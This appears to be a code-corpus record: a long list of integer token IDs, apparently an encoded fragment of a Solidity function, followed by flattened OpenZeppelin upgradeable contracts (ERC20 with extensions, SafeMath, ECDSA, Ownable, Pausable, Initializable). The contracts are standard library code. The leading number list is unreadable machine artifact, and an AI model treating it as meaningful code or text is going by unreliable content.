565,
445,
7516,
654,
39,
3462,
1290,
1595,
12,
203,
3639,
1758,
1147,
1887,
16,
203,
3639,
1758,
8526,
745,
892,
9484,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
23804,
16,
203,
3639,
1186,
792,
8526,
745,
892,
30235,
20439,
87,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
389,
8705,
20439,
12,
203,
7734,
30235,
20439,
87,
63,
20,
8009,
6592,
15609,
20439,
16,
203,
7734,
30235,
2375,
16,
203,
7734,
389,
588,
907,
12,
13739,
63,
20,
6487,
23804,
63,
20,
5717,
203,
5411,
262,
16,
203,
5411,
315,
1941,
14601,
364,
6590,
374,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
6445,
71,
3462,
13937,
273,
467,
654,
39,
3462,
12,
2316,
1887,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
404,
31,
277,
411,
9484,
18,
2469,
31,
277,
27245,
288,
203,
5411,
2583,
12,
203,
7734,
389,
8705,
20439,
12,
203,
10792,
30235,
20439,
87,
63,
77,
8009,
6592,
15609,
20439,
16,
203,
10792,
30235,
2375,
16,
203,
10792,
389,
588,
907,
12,
13739,
63,
77,
6487,
23804,
63,
77,
5717,
203,
7734,
262,
16,
203,
7734,
315,
1941,
14601,
6,
203,
5411,
11272,
203,
203,
5411,
2254,
5034,
12304,
6275,
273,
3159,
6275,
858,
16397,
12,
203,
7734,
6445,
71,
3462,
13937,
16,
203,
7734,
23804,
63,
77,
65,
203,
5411,
11272,
203,
5411,
389,
11764,
654,
39,
3462,
5912,
12,
2316,
1887,
16,
9484,
63,
77,
6487,
12304,
6275,
1769,
203,
3639,
289,
2
] |
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../../GSN/Context.sol";
import "../Roles.sol";
contract PauserRole is Initializable, Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
function initialize(address sender) public initializer {
if (!isPauser(sender)) {
_addPauser(sender);
}
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* NOTE: This call _does not revert_ if the signature is invalid, or
* if the signer is otherwise unable to be retrieved. In those scenarios,
* the zero address is returned.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: signature length is invalid");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: signature.s is in the wrong range");
}
if (v != 27 && v != 28) {
revert("ECDSA: signature.v is in the wrong range");
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../GSN/Context.sol";
import "../access/roles/PauserRole.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Initializable, Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
function initialize(address sender) public initializer {
PauserRole.initialize(sender);
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../../GSN/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Initializable, Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "./ERC20.sol";
import "../../lifecycle/Pausable.sol";
/**
* @title Pausable token
* @dev ERC20 with pausable transfers and allowances.
*
* Useful if you want to stop trades until the end of a crowdsale, or have
* an emergency switch for freezing all token transfers in the event of a large
* bug.
*/
contract ERC20Pausable is Initializable, ERC20, Pausable {
function initialize(address sender) public initializer {
Pausable.initialize(sender);
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
/**
